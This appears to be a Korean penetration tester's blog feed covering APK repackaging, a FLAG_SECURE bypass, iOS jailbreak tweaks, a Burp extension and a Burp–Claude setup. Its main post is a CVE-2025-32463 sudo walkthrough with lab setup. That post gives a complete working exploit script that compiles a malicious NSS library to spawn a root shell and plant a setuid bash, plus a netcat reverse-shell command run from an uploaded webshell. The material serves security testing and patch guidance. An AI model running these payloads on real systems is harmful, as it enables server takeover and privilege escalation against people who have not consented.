Everything is hacked.

App modulation using apktool, smali

Kai_HT — Thu, 8 Jan 2026 02:02:03 +0900

https://www.android.com

취약점 점검 항목 중 전자금융 관련 항목으로 앱 로직 임의 변조 항목이 주로 취약점으로 잡히곤 한다.

본 취약점 항목 점검을 위해 일반적으로 APKEasyTool 을 사용하여 디컴파일을 수행하고 smali 코드 변조 이후, 리컴파일을 수행하는데 안드로이드 보안 정책으로 인하여 apk 리컴파일 수행 시, APKEasyTool 만으로 정상 수행되지 않을 때가 있다.

해당 문제 해결을 위해 본인의 경우 변조 및 로직이 변경된 Smali 코드가 포함된 class 파일만을 리컴파일하여 apk 패키지 내 직접 덮어씌워 적용시키는 방법을 애용한다.

해당 방법 이용을 위해 수동으로 class 파일에 대한 리컴파일 및 서명이 요구되므로 추가 툴이 필요하다.

- 리컴파일 툴: https://repo1.maven.org/maven2/org/smali/smali/2.5.2/smali-2.5.2.jar
- apk signer: https://github.com/patrickfav/uber-apk-signer/releases/download/v1.3.0/uber-apk-signer-1.3.0.jar

해당 툴에 대한 디컴파일 수행 (디컴파일은 APK Easy Tool 을 사용해도 문제 없다.) 이후, 변조할 구간 Smali 코드에서 Toast Message 구간을 추가한다.

Class 파일 내 smali 코드 변조

smali 코드 변조 이후, smali.jar 파일을 이용하여 변조한 Smali 코드가 포함된 class 를 리컴파을 수행해준다.

smali.jar 을 이용한 classes.dex 리컴파일 수행

해당 classes.dex 파일 리컴파일 수행 이후, 기존 apk 파일을 반디집 등의 압축 관리 프로그램으로 열어 리컴파일된 classes.dex 파일을 덮어씌워준다.

리컴파일된 classes.dex 파일 덮어씌우기

해당 앱에 대한 패칭이 끝났으므로 리사이닝만 수행하면 해당 앱 변조가 끝난다.

uber-apk-signer.jar 을 이용한 apk 파일 리사이닝

해당 Signning 을 수행하고 나면, 화면 내 'VERIFY' 로그에서 확인할 수 있듯이 '[appName-aligned-debugsigned.apk] 이라는 이름의 apk 파일 획득이 가능하다. 해당 파일을 디바이스 내 설치 이후 해당 로직이 동작하면 취약, 아니면 양호로 판단하면 되겠다.

자동화 툴:

GitHub - KaiHT-Ladiant/Android-Patched-Repackging-For-Pentester: apk file Repackaging for pentester

apk file Repackaging for pentester. Contribute to KaiHT-Ladiant/Android-Patched-Repackging-For-Pentester development by creating an account on GitHub.

github.com

UnActivity FLAG_SECURE in Application

Kai_HT — Thu, 8 Jan 2026 01:36:51 +0900

https://medium.com/@contact2kalshetty/how-to-prevent-screenshots-screen-recording-in-android-real-code-interview-q-a-7a196784e29e

안드로이드 내 앱 진단 수행하다보면 앱 내 FLAG_SECURE 보안 플래그로 인하여 미러링 화면에서 화면이 출력되지 않아 증적을 찍기 힘든 경우가 있다. 이럴 때 보고서 작성 등 화면 이미지를 사용할 때 불편하여 증적저장하기 위해 방법을 찾게 되었다.

안드로이드 리커버리 모드에서 스크린 샷하는 글

Unlock Android Screen With TWRP

안드로이드의 커스텀 펌웨어 업데이트 이후 디바이스를 확인해보면 시스템 문제인지 기존 잠금 데이터로 잠금해제가 되지 않는 경우가 존재했다. 때문에 디바이스 내 접근을 위한 방법이 필요

tistory.kaiht.kr

방법 중에 가장 편한 것이 루팅에 이용되는 Magisk모듈을 사용하는 방법이다. Xposed-Disable-FLAGE_SECURE모듈이나 Enable Screenshot 모듈이 있다고 하는데, Disable Flag Secure 모듈이 있으면 Xposed 없이도 시스템 전체에 대한 FLAG_SECURE 옵션 비활성화가 가능하다.

Disable Flag Secure v10 Magisk Module

Unlock screenshots & screen recordings in secure apps with Disable Flag Secure Magisk Module! Bypass FLAG_SECURE restrictions on any rooted Android.

www.magiskmodule.com

다운로드

우선 Magisk 모듈 항목에서 저장소 내 파일 호출한다. (위 해당 첨부파일은 당연히 디바이스 내 저장되어 있어야한다.)

저장소 내 저장된 위 첨부파일을 선택하여 모듈 설치를 수행하고, 다시 시작을 진행한다.

디바이스 재부팅 이후, FLAG_SECURE 값으로 인하여 스크린샷이 불가하였던 어플리케이션에 대한 화면 캡처가 가능한 것을 확인할 수 있다.

iOS - Jailbreak Tweak List (arm64e)

Kai_HT — Mon, 22 Dec 2025 13:46:41 +0900

Sileo TweakList

취약점 점검 시, 최소 iOS 버전이 15부터 지원되는 앱이 많아짐에 따라 iPhone X 로 점검용 디바이스를 새로 세팅하였다.

이전에 사용하던 arm 계열 디바이스인 iPhone6S 에서 사용하던 Tweak 및 repo 가 지원중단됨에 따라 새로 세팅이 필요하여 정리했다.
- 본인 디바이스 정보: iPhoneX (16.7.1), palera1n 탈옥

Repo list

// Package Manager Repo
https://repo.palera.in/
https://getzbra.com/repo/

// Utilities Repo
https://tigisoftware.com/cydia/
https://apt.procurs.us/
https://repo.co.kr/
https://ellekit.space/
https://havoc.app/
http://apt.thebigboss.org/repofiles/cydia/
https://repo.chariz.com/

// Jailbreak Tweaks Repo
https://build.frida.re/
https://ios.jjolano.me/
https://poomsmart.github.io/repo/
https://cyida.inchitaso.com/
https://repo.kc57.com/

Tweak List

AltList (opa334-BigBoss)
apt (Procursus Team)
apt-file (Procursus Team)
apt-utils (Procursus Team)
aptitude (Procursus Team)
Choicy (opa334-BigBoss)
ElleKit (Evelyn)
FakePass (alexia-palera1n)
Frida (Frida)
NewTerm 3 Beta (Chariz)
opa334 (ichitaso)
openssh (Procursus Team)
Phantom (eternal)
Shadow (jjolano)
TrollStore Lite (opa334)

CVE-2025-32463

Kai_HT — Tue, 29 Jul 2025 17:25:30 +0900

CVE-2025-32463

지난 6월 30일 sudo 패키지 관련 취약점이 발표되었다. 해당 취약점은 sudo 버전 1.9.17 이전 버전에서 --chroot 옵션을 악용하여 일반 사용자가 루트 권한을 탈취할 수 있는 보안 결함이다.

sudo 패키지에서 발생하는 로컬 권한 상승 취약점으로 볼 수 있으며 CVSSv3 점수 7.8-9.3 을 획득했다.

기준	해당 취약점 반영
영향 버전	1.9.14 ~ 1.9.17p1
공격 벡터	로컬 - AV:L
공격 복잡도	낮음 - AC:L
필요 권한	낮음 또는 없음 - PR:L/PR:N

영향 받는 버전은 1.9.14 에서 1.9.17p1 미만 버전에서 발생되며, 레거시 버전은 1.9.14 이전 버전의 경우 chroot 기능이 포함되지 않아 영향받지 않는다.

chroot 경로 적용 시점이 문제가 되었는데, 1.9.14 버전에서 도입된 변경사항으로 인해 sudoers 파일 평가 중에도 chroot 경로가 적용되었다.

이때 공격자는 NSS 설정 파일 - 사용자가 제어하는 디렉터리 내 /etc/nsswitch.conf 파일을 조작하여 임의 공유 라이브러리를 로드하도록 sudo 를 속인다. 이후 일반 사용자가 해당 라이브러리 로드를 통해 일반 사용자 계정으로 권한 상승이 가능하다.

결국 본 취약점의 경우, sudoers 정책 - 시스템 설정에서 특정 명령어에 대해 chroot 실행이 허용되어야하나, 일반적으로 해당 파일에서 chroot 지시자가 명시되어 위험하다 할 수 있다.

sudo가 sudoers 파일의 검증 과정에서 사용자가 지정한 디렉터리로 chroot 를 수행, 해당 - 그러니까 대상 서버에 존재하는 chroot 환경 내부 /etc/nsswitch.conf 파일을 참고하게 되고 공격자는 자신이 지정한 chroot 디렉토리 (쓰기 권한이 있는 디렉토리 등)에 조작된 nsswitch.conf 파일과 악성 공유 라이브러리 등 (libnss_*.so 등)을 생성하여 sudo 가 이를 로드, 임의 명령으로 root 권한으로 실행하도록 유도가 가능하다.

즉, sudo 는 사용자가 특정 명령에 대한 실행 권한이 있는지 sudoers 파일을 통해 체크하는데, sudoers 파일을 완전하게 평가하기 이전에 지정한 chroot 디렉토리로 pivot_root - chroot 동작이 수행되며, /etc/nsswitch.conf 파일을 기준으로 모듈 로딩이 수행된다. 이때 chroot 내부 악성 nsswitch.conf 및 공유 라이브러리가 존재한다면 이를 root 권한으로 로드 및 실행이 가능하다는 것이다.

관련 함수로 pivot_root, set_cmnd_path, command_matched 등이 있고, 본 함수들이 취약하며 pivot_root 가 보안 정책 검증 - 허가 여부 검사 이전에 호출되어 문제가 발생하는 것이다.

요약
- 공격자가 조작된 nsswitch.conf 와 악성 공유 라이브러리 (libnss_*.so 등)을 만들고 sudo 가 root 권한으로 이를 로드하게 만든다는 점.
- 해당 과정에서 sudoers 정책 검증 전 chroot 동작이 발생하여 우회가 가능하다는 점.
- 정책 검증 로직의 논리적 오류 (chroot/파일 로딩 순서)로 인하여 발생한 취약점 이라는 점.

→ 함수 호출 순서 및 보안 검증 타이밍이 잘못 설계되어 함수 자체 백엔드 구현 (권한 검사 및 파일 검증 등)에 대한 문제도 있지만 로직 흐름 설계 결함 (policy evaluatio 전 chroot 가 우선 실행되는 구조적 문제) 이 더 근본적인 원인이라고 할 수 있다.

우선 이론에 앞서 해당 CVE 에 대한 시나리오를 구상해보았다.

CVE-2025-32463 Scenario 흐름

공격자는 서버 장악을 위해 업로드 취약점 구간을 이용하여 Webshell 형식 (명령 수행)의 쉘 파일 업로드를 수행함.
업로드된 악성코드 쉘 파일을 이용하여 Reverse Shell 커넥션을 진행함.
리버스 커넥션을 이용하여 서버 연결 이후, 설치된 sudo 버전을 확인, CVE-2025-32463 공격을 수행함.
CVE 공격으로 root 권한이 탈취됨.

해당 시나리오에서 주의 사항은 다음과 같다.

1. sudoers 에 chroot 지시자 존재여부 확인
- 실제 공격을 위해 sudoers 파일 내 chroot 지시자가 명시되어야함. (ex. ALL ALL=(root) NOPASSWD: /user/sbin/chroot /path/to/dir command) 해당 지시자가 존재하지 않는 경우, 우회 권한 상승이 불가함.
- 본 실습 수행 시, 사전에 sudoers 파일을 chroot 지시자 추가를 위해 요구될 수도 있음.

2. 악성파일 배치 및 실행 환경
- 임의 쓰기 권한이 있는 경로 내 조작된 nsswitch.conf 및 악성 libnss_*.so 파일 배치가 요구되며, 해당 경로 내 chroot 지정이 가능해야함.
- 공격자의 임의 경로 지정 (리버스 쉘, 디렉터리 접근 등)이 불가할 경우, PoC 실패 가능성이 존재함.
- 공유 라이브러리 조작 시, 해당 서버의 아키텍처, libc 버전 등도 맞아야해서 대상 서버 환경에 맞는 공유 라이브러리가 요구됨.

취약점 CVE-2025-32463 실습

실습환경 구성방법

CVE-2025-32463 - Vulnerable App Settings

취약점 CVE-2025-32463 에 대한 실습을 하기 위한 환경세팅 방법을 정리한 글이다.해당 취약점에 대한 정리에 대해 서술한 글의 경우, 아래 글을 참고하도록 하자.해당 취약점의 경우, 모의해킹이나

tistory.kaiht.kr

취약점 CVE-2025-32463 에 대한 환경구축 이후 취약점 분석은 다음과 같이 수행된다.

실습환경 대상목록

대상	IP	비고
공격 대상 게시판 사이트	10.89.0.19	게시판 웹 서비스 (업로드 취약점 존재) 컨테이너 환경 Local IP
공격자 IP	119.xx.yy.185	공격대상 서버와 다른 네트워크

취약점 실습 상세

취약 서비스 내 악성 웹쉘 업로드

우선 공격 대상 웹 서비스 내 명령어를 실행시켜야하므로 업로드 취약점이 발생하는 구간 내 웹쉘 업로드를 수행해준다.

sudo 버전 확인

sudoers 확인

일반적인 웹쉘 환경에서는 sudoers.d, sudoers 파일, sudo -l 권한, chroot 지시자 등 poc 파일 배치와 실행, 결과확인 및 2차 확장시에 제한되고 오류 확인이 어려우므로 웹쉘을 이용한 리버스 쉘 권한 취득이 필요하다.

쉘 연결을 위한 공격자 터미널 내 nc (본 공격자 이용포트 4444) 리버스 커넥션 대기

공격 대상 서버 내 업로드된 웹쉘에서 공격지로 nc 리버스 커넥션 시도

nc -e /bin/sh 127.0.0.1 9191

해당 공격 대상 서버에서 9191 포트 - 공격지 서버 포트 정보로 리버스 쉘을 시도한다. ip가 로컬 host 로 사용된 이유는 테스트 환경 상 tcptunneling 설정이 되어있기 때문이다. (환경 구성 페이지 참조)

공격 대상 서버에서 리버스 쉘 획득 성공

리버스 쉘 획득에 성공하고 공격자 서버에서 리버스 쉘을 이용하여 명령어를 이용하면 입력하는 명령에 대해 정상 수행 가능한 것을 확인할 수 있다.

대상 서버 내 sudo 버전 재확인

서버 내에서 리버스 쉘 획득 성공 여부를 확인하고 이후 CVE-2025-32463 공격을 위해 쉘 파일을 작성해주자.

cat 을 이용한 shell 파일 작성

cat > cve-2025-32463.sh << 'EOF'
#!/bin/bash

STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > kai_ht.c<<'CEOF'
#include <stdlib.h>
#include <unistd.h>

void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  system("id > /tmp/pwned_proof.txt");
  system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
  execl("/bin/bash", "/bin/bash", NULL);
}
CEOF

mkdir -p pentest/etc libnss_
echo "passwd: /kai_ht" > pentest/etc/nsswitch.conf
cp /etc/group pentest/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/kai_ht.so.2 kai_ht.c

echo "Exploiting CVE-2025-32463..."
sudo -R pentest pentest
rm -rf ${STAGE?}
echo "root permition enable!"
EOF

해당 코드는 shell 파일이긴 하나, libnss 파일 컴파일을 위한 서버 내 컴파일러가 요구된다. 때문에 해당 공격을 위한 gcc 및 컴파일러가 대상 서버에서 동작하는지에 대한 여부 확인이 요구된다.

※ 본 코드는 연구목적으로 작성된 코드다. 절대 실 네트워크 망에서 사용을 금하며, 참고용으로 확인하자.
해당 코드에 대한 책임을 작성자가 지지 않으며, 코드 사용에 대한 책임은 코드 사용 본인이 지는 것임을 잊지 말자.

root 권한 탈취 및 root 권한 요구 파일 열람 가능 확인

해당 쉘 코드 실행 시, root 권한 탈취로 서버 내 root 권한이 요구되는 파일에 대한 임의 열람 및 실행이 가능한 것을 확인할 수 있다.

서버 내 존재하는 서비스 php 파일 열람

취약점이 발생하는 원인은 다음과 같이 정리할 수 있다.

chroot 의 동작 흐름 문제

- 본 sudo 의 정상흐름 (기대 흐름)

1. 사용자 명령어 Guessing
2. sudoers 정책 검증 (권한 확인)
3. 환경 설정 (chroot 등)
4. 명령어 실행

- 실제 동작 흐름

1. 사용자 명령어 Guessing
2. chroot 환경 변경 (pivot_root 실행) // 문제 발생 지점
3. sudoers 정책 검증 (변경된 환경에서 검증 유발)
4. 명령어 실행

기술적 세부사항

1. pivot_root 함수 조기 실행

pivot_root 함수가 보안 정책 검증 - permission check 이전 호출
사용자 지정 임의 디렉터리로 파일 시스템 루트가 변경 가능
이후 모든 파일 참조가 공격자가 제어하는 환경에서 수행

2. NSS - Name Service Switch 시스템 악용

sudo 인증 과정 중, /etc/nsswitch.conf 파일을 참조하여 사용자 정보 조회 모듈 로드 시, 해당 모듈에 대한 조작이 가능함.
/etc/nsswitch.conf 파일 예시:

2.1. 정상 nsswitch.conf 파일

passwd: files systemd
group: files systemd

2.2. 공격자 조작 파일 (PoC 참고)

passwd: /kai_ht
group: /kai_ht

3. 악성 공유 라이브러리 로드

chroot 환경에서 sudo가 /etc/nsswitch.conf 를 읽음
공격자가 지정한 NSS 라이브러리 (libnss_/kai_ht.so.2) 를 참조
해당 라이브러리가 root 권한으로 로드 및 실행

해당 PoC 코드에 대한 설명이다.

STAGE 변수 내 /tmp 디렉토리 내 임시 작업 공간을 생성한다.
악성 NSS 라이브러리를 작성 ( uid/gid 세팅 및 root 쉘 실행 등) 한다. (kai_ht.c)
chroot 환경을 구성하는데, pentest/etc/nsswitch.conf 파일, 그러니까 악성 라이브러리를 참조하는데, 이때 passwd 값을 설정해주고 gcc 를 이용한 악성코드를 생성한다.
만들어진 악성코드를 chroot 옵션으로 공격을 수행한다.

관련 핵심 함수

함수 명	설명
pivot_root	파일시스템 루트 변경
set_cmnd_path	명령어 경로 설정 - 변경된 환경에서 동작
command_matches	명령어 매칭 검증 - 환경 변조 후 실행되어 우회

실질적인 문제

sudo 소스코드를 확인해보자.

int main() {
    parse_args();                    
    
    if (chroot_option) {
        pivot_root(user_specified_dir);  
    }
    
    load_sudoers_policy();           
    check_permissions();           
    
    execute_command();
}

해당 코드는 의사코드로 작성된 것이니 어느정도 참고만 하도록하자.
우선 사용자 입력값을 parse_args 함수를 통하여 입력 받는데, 이후 pivot_root 함수가 너무 빨리 수행되어 파일 시스템이 변경된다. 이후 변조된 환경에서 load_sudoers_policy(), check_permissions() 로 인하여 정책 로드와 권한 검사가 수행되어 해당 명령이 수행되게 된다.

종합하여, 본 취약점이 성공하기 위한 조건은 다음과 같다.

sudo 버전 1.9.14 - 1.9.17 설치 및 이용
sudoers 파일 내 chroot 지시자 존재
sudo 권한 사용자 계정 접근 가능 여부
임의 디렉토리 내 쓰기 권한 여부

패치 및 대응방안

공식 패치 이용 (sudo 1.9.17p1)

사용자 지정 chroot 옵션 완전 제거
보안 정책 검증 순서 재구성
pivot_root 호출 타이밍 수정

임시 대응책

# sudoers에서 chroot 관련 지시자 제거
sed -i '/chroot/d' /etc/sudoers
visudo -c  # 문법 검증

종합

취약점 CVE-2025-32463 은 sudo 의 설계적 결함에서 비롯된 취약점이다.
해당 결함은 보안 검증보다 환경 변조보다 먼저 수행되어 환경 변조 이후에 보안 검증이 수행되는 구간이 핵심이라고 할 수 있다.

이는 아키텍처 레벨의 보안 설계 오류라고 할 수 있으며, Control Flow - 제어흐름 구간에서의 근본적 문제를 보여준다.

해당 취약점을 통해 시스템이든, 어플리케이션 단이든 어느 정도의 보안성이 요구되는 경우, 아키텍처 단의 설계가 중요하다고 볼 수 있다.

참고:

KISA 보호나라&KrCERT/CC

www.boho.or.kr:443

CVE-2025-32463 및 CVE-2025-32462 탐지: Sudo 로컬 권한 상승 취약점이 Linux 환경을 위협하다 | SOC Prime

CVE-2025-32463 및 CVE-2025-32462 — Sudo의 로컬 권한 상승 취약점에 대한 기술 분석을 SOC Prime 블로그에서 확인하세요.

socprime.com

sudo 보안 업데이트 권고 (CVE-2025-32463) - ASEC

sudo 보안 업데이트 권고 (CVE-2025-32463) ASEC

asec.ahnlab.com

[Vulnerability Alert] Sudo Local Privilege Escalation (CVE-2025-32462 & CVE-2025-32463)--BytePlus Security Bulletins-Byteplus

docs.byteplus.com

CVE-2025-6019 취약점 - Remove Spyware & Malware with SpyHunter - EnigmaSoft Ltd

공격자는 이제 새로 발견된 두 가지 로컬 권한 상승(LPE) 취약점을 악용하여 널리 사용되는 Linux 배포판을 실행하는 시스템에서 전체 루트 권한을 획득할 수 있습니다. 이러한 취약점을 패치하지

www.enigmasoftware.com

CVE-2025-26465 및 CVE-2025-26466 취약점이 시스템을 중간자 공격 및 DoS 공격에 노출시키다 | SOC Prime

SOC Prime 블로그에서 취약점 CVE-2025-26465 및 CVE-2025-26466 분석, OpenSSH 결함을 악용할 경우 발생할 수 있는 MitM 및 DoS 공격에 대해 탐구합니다.

socprime.com

GitHub - zinzloun/CVE-2025-32463: # CVE-2025-32463 – Sudo EoP Exploit (PoC) with precompiled .so

# CVE-2025-32463 – Sudo EoP Exploit (PoC) with precompiled .so - zinzloun/CVE-2025-32463

github.com

CVE‑2025‑32463: Critical Sudo “chroot” Privilege Escalation Flaw - Upwind

A critical vulnerability in sudo (Changelog v1.9.14–1.9.17) allows local users to gain root access via the --chroot (-R) option. This flaw carries a

www.upwind.io

GitHub - Mikivirus0/sudoinjection: Sudo Local Privilege Escalation CVE-2025-32463 (Best For Cases Where the shell is not stable

Sudo Local Privilege Escalation CVE-2025-32463 (Best For Cases Where the shell is not stable to spawn a new root shell) - Mikivirus0/sudoinjection

github.com

hackyboiz

hack & life

hackyboiz.github.io

Sudo 로컬 권한 상승 취약점 (CVE-2025-32462, CVE-2025-32463)

1. Sudo- 사용자에게 슈퍼유저나 다른 사용자의 권한으로 명령어를 실행할 수 있게 해주는 명령어- "sudo [명령어]" 형식으로 쓰이며, 해당 명령을 일시적으로 높은 권한으로 수행- sudo를 사용할 때

ggonmerr.tistory.com

PoC 코드:

GitHub - KaiHT-Ladiant/CVE-2025-32463: CVE-2025-32463 - Sudo Chroot Privilege Escalation Exploit

CVE-2025-32463 - Sudo Chroot Privilege Escalation Exploit - KaiHT-Ladiant/CVE-2025-32463

github.com

CVE-2025-32463 - Vulnerable App Settings

Kai_HT — Mon, 28 Jul 2025 14:03:55 +0900

https://medium.com/@yash9439/microsoft-introduces-sudo-command-to-windows-11-bae5b4c491d2

취약점 CVE-2025-32463 에 대한 실습을 하기 위한 환경세팅 방법을 정리한 글이다.
해당 취약점에 대한 정리에 대해 서술한 글의 경우, 아래 글을 참고하도록 하자.

해당 취약점의 경우, 모의해킹이나 블랙박스, RED 팀 등에서 유용하게 사용할 수 있을 것이라 판단되었고 그에 따른 임의 시나리오를 위한 환경 구성을 위해 환경 구성관련 게시글을 작성하였다.

해당 게시글은 환경 세팅에 대한 게시글이므로 CVE 실습 상세내역은 이후 작성되는 다음 게시글을 확인하자.

CVE-2025-32463

지난 6월 30일 sudo 패키지 관련 취약점이 발표되었다. 해당 취약점은 sudo 버전 1.9.17 이전 버전에서 --chroot 옵션을 악용하여 일반 사용자가 루트 권한을 탈취할 수 있는 보안 결함이다.sudo 패키지에

tistory.kaiht.kr

본 취약점 실습 환경은 본인이 모의해킹 컨설턴트 시작에 앞서 임의 모의해킹 연습을 위해 작성한 게시판 페이지 서버를 이용하였다.
해당 서버는 보다 쾌적한 웹 서버 운영을 위하여 컨테이너 환경으로 구성하였으며, 해당 서버 내 (컨테이너 환경)에서 필요한 것이 부가적으로 요구되어 작성하였다. 일반 리눅스 서버라면 #2 스텝부터 수행하면된다.

본인의 경우 실습 웹 게시판 서버가 존재하여 해당 서버 내에서 패키지 설정에 관련된 것만 다룬다.
특정 리눅스 버전에서 해당 취약점이 안되는 경우가 존재하므로 확인이 필요하다.

- 웹 게시판 서비스는 본인이 만들든가 하자.

1. 피해 대상 서버 내 sudo 설치 여부 확인

sudo --version

본 취약점은 당연하게도 sudo 구조 상의 취약점 이므로 sudo가 설치되어있어야 한다.

일반적인 컨테이너에는 sudo 나 추가 패키지가 없는 경우가 존재하여 설치해주어야한다.

2. 패키지 설치 준비

본 CVE에서 사용되는 sudo 버전은 다음과 같다.

1.9.14 ~ 1.9.17p1

각 서버마다 지원되는 버전이 다를 수 있으므로 확인이 필요하다.
본인의 경우 공식 소스를 다운로드 받아 직접 컴파일을 수행하였다. - ~~본 서버에서 apt install sudo==1.9.14 가 안되어서 강제로 했다.~~
- 물론 wget 등 패키지는 본인이 알아서 받아야한다.

apt install wget

wget 으로 소스코드를 받아야되기도 하니 우선 받아주자.

이후 소스코드 컴파일을 위한 gcc도 받아야한다.

apt install gcc

+ 본인의 경우 실습 환경에서 포트포워딩 설정 제안이 있어 임의 네트워크 연결을 위해 중계 서버를 설정하였다.

중계서버 zrok 설정 방법 -

공격자 PC: zrok enable [zrok계정_해시값]

공격 대상 서버: zrok enable [zrok계정_해시값]

zrok 중계 서버를 이용한 네트워크 연결 확인

중계서버 서비스인 zrok 회원 가입 이후, 발급된 zrok 캐시 값을 이용하여 공격자 및 공격 대상 서버 내 네트워크 연결을 수행한다.

tcp 터널링을 위한 zrok private 네트워크 연결 임의 외부포트 444사용: zrok share private --backend-mode tcpTunnel "127.0.0.1:4444"

공격 대상 서버의 tcp 터널링을 위한 zrok 중계 서버 연결. zrok access private [네트워크 해시]

해당 터널링 이후 공격 대상 서버와 공격지의 TcpTunneling 여부를 확인한다.

Tcp 터널링으로 공격지에서는 localhost 의 4444 포트로, 공격 대상 서버의 경우 localhost 9191 포트로 연결이 가능하다.

두 패키지 설치가 끝났다면, sudo 설치할 준비가 모두 완료된다.

3. 서버 내 CVE 에 취약한 sudo 설치

요구되는 패키지가 모두 설치되었다면 다음 명령어를 이용하여 패키지 설치를 수행하면된다.

// 1. sudo 소스파일 다운로드
wget https://www.sudo.ws/dist/sudo-1.9.14.tar.gz

// 2. sudo 소스파일 압축 해제
tar -xf sudo-1.9.14.tar.gz

// 3. sudo 소스파일 컴파일 및 make 수행
cd sudo-1.9.14
./configure --prefix=/usr
make

// 4. sudo 설치
sudo make install

위 명령은 순서대로 수행해도 되고, 그냥 쉘파일로 만들어서 수행해도 된다.
그냥 본인 편한대로 패키지 설치하면 될 듯하다.

해당 명령어가 귀찮다고 붙여넣기 하지 말자. 에러난다.

sudo 패키지 설치 이후, 다음 명령을 통해 설치 여부 확인이 가능하다.

sudo --version

sudo --version

해당 시스템 환경은 이 정도면 되고, 가장 중요한 업로드 취약점 서버는 직접 구축해보자.

참고:

272255 – [PATCH] security/sudo: Update to 1.9.14

Update sudo to 19.14 no flags Details | Diff

bugs.freebsd.org

sudo - Solaris package

Install sudo on Solaris 10 and 11: pkgadd -d http://get.opencsw.org/now /opt/csw/bin/pkgutil -U /opt/csw/bin/pkgutil -y -i sudo /usr/sbin/pkgchk -L CSWsudo # list files See also: Getting started with OpenCSW Package details Dependencies ( 6 ) Oracle / Sun

www.opencsw.org

RPM resource sudo(x86-64)

rpmfind.net

sudo - Debian Package Tracker

Among the 7 debian patches available in version 1.9.16p2-3 of the package, we noticed the following issues: 3 patches where the metadata indicates that the patch has not yet been forwarded upstream. You should either forward the patch upstream or update th

tracker.debian.org

Releases · sudo-project/sudo

Utility to execute a command as another user. Contribute to sudo-project/sudo development by creating an account on GitHub.

github.com

More info with -ll in sudo 1.9.15

Version 1.9.15 of sudo gives more detailed information when using the -ll option. For commands, it adds the rule that allows it. Without a command parameter, it lists rules affecting a given user. It also prints which file contains the given rule, making d

www.sudo.ws

Jython Extentions in Burpsuite

Kai_HT — Wed, 2 Jul 2025 11:07:42 +0900

Jython + Burpsuite

웹 취약점 점검을 실시하다보면 SQL Injection 구간을 많이 확인할 수 있다. 다만 무조건 적으로 나타나는 것은 아니지만 Error Injection 도 간혹 나타나기도 한다. 블라인드나 유니온 인젝션의 경우 데이터 추출 시, 해당 조건에 맞게 코드를 작성해야한다는 단점이 존재하나 Error Injection 의 경우 노출되는 에러가 정해져있어 보다 편하게 데이터를 추출할 수 있다.
(물론 애시당초 SQL 쿼리문이 먹힌다는 것이 말이 안되는 ... 상황이긴 하지만 말이다.)

때문에 본인은 그 귀찮음이 싫어 버프슈트 Extention 을 작성하게 되었다. 초반엔 Java 를 이용하여 작성하려 했으나, Java 특성상 버전도 많이타고 하기 때문에 Jython 으로 작성하게 되었다.

해당 기능을 위해선 Burpsuite 내 Jython 기능을 추가해야한다.

Burpsuite 내 Python 기반 Extentions 추가 화면

Jython Standalone 파일은 여기에서 다운로드 받을 수 있다.

Downloads

The Python runtime on the JVM

www.jython.org

해당 파일 다운로드 이후, 본 화면 하단에 노출되어있는 Settings > Extensions > Python enviroment 내 등록해준다.

Jython Standalone 파일 등록

해당 파일 등록 후 Extentions 내 Add 를 통해 작성된 Extention 을 추가해준다.

Burpsuite - Extensions - Add

Extension details - Extension file (.py) - Select file ...

해당 화면을 확인해보면 성공적으로 해당 Extention이 추가된 것을 확인할 수 있다.

Analyzing from Burpsuite with Claude

Kai_HT — Mon, 30 Jun 2025 13:44:14 +0900

Burpsuite With Claude

최근 LLM 서비스가 급부상하면서 LLM을 이용하여 취약점 분석에 꽤나 많은 도움을 줄 수 있다.

물론 LLM 서비스에 의존하다 보면 지속적으로 LLM 만 사용하게 될 수도 있지만 본인이 미쳐 확인하지 못한 구간이나 특정 취약점에 대한 포인트를 찾게 되는 경우 굉장히 편리하게 사용할 수 있다.

하지만 Claude 자체가 Burpsuite 내 모든 기록에 대한 접근 및 기능을 사용할 수 있어서 편리하게 사용할 수 있으나 다음과 문제가 존재하는 것은 당연하니 완벽하게 취약점 분석할 때 감안하고 사용해야 한다.

Claude Default 및 Claude Pro 멤버쉽의 경우 어느 정도 사용 용량이 정해져있어 답변 도중 사용이 끝날 수 있다.
Claude Default 및 Claude Pro 멤버쉽은 특정 프롬프트의 내용이 굉장히 많을 경우, 새로운 프롬프트를 생성하여 다시 사용해야 한다.
Claude Default 및 Claude Pro 특성상 불러올 수 있는 데이터의 크기가 제한적이라 Burpsuite 내 모든 내용을 참고하거나 불러올 수 없으므로 명확하고 세부적으로 Burpsutie 내 내용을 호출해야한다.
(예시 - Burpsutie #23 번 항목인 kaiht.kr 내 /server/service?test=xss 항목에 대해 분석해줘. SSRF 취약점이 의심되고 있어.)
모든 LLM이 마찬가지이지만 해당 기능 자체가 Claude 서버와 연동되고 있으므로 보안상 노출되지 않는 범위까지 데이터가 입력되거나 노출될 수 있다. 따라서 기능 이용 후 해당 프롬프트를 삭제하거나 허가 받아 사용 되어야한다.

참고: Burp Suite + Claude AI: Connect Using MCP Server (2025 Setup)

Burp Suite + Claude AI: Connect Using MCP Server (2025 Setup)

If you’re looking to enhance your Burp Suite workflow with the help of AI and if you don’t have burp pro but want something cool and dope with burp sui...

hacklido.com

본 기능을 위해선 다음과 같은 설정이 요구된다.

Burpsuite 내 MCP Server Extended
Burpsuite 에서 지원하는 확장 기능이 요구된다. 해당 MCP 서버를 이용하여 Claude 와 Burpsuite 를 연결한다. (127.0.0.1:9876)
당연히 Claude 를 이용하여 Burpsuite 를 이용하는 것이므로 Claude 설치가 요구된다.

Windows 내 설치: winget install Anthropic.Claude --source winget

우선 Claude Desktop 을 설치해주자. 설치 이후 프로그램 사용을 위해서 구글 로그인이든 신규 가입 이후 로그인이든 계정이 요구되니 로그인을 수행해주자.

프로그램 설치: Download Claude

프로그램 설치 이후, Burpsuite 에 접근해서 Extentions 탭에서 MCP Server 을 검색해서 추가시켜준다.

→ 만에하나 검색이 되지 않는 경우 다음 링크를 확인하여 수동 확장시켜준다.

GitHub - PortSwigger/mcp-server: MCP Server for Burp

MCP Server for Burp. Contribute to PortSwigger/mcp-server development by creating an account on GitHub.

github.com

해당 앱을 설치하면 다음과 같은 화면 확인이 가능하다.

이후 우측 하단을 확인해보면 Install to Claude Desktop 이라는 기능이 존재하는데, 해당 기능을 클릭한다.

해당 기능을 활성화하면 진짜 설치할거냐 라고 물어보는데 YES, OK 해서 다음 스텝으로 넘어가주자.

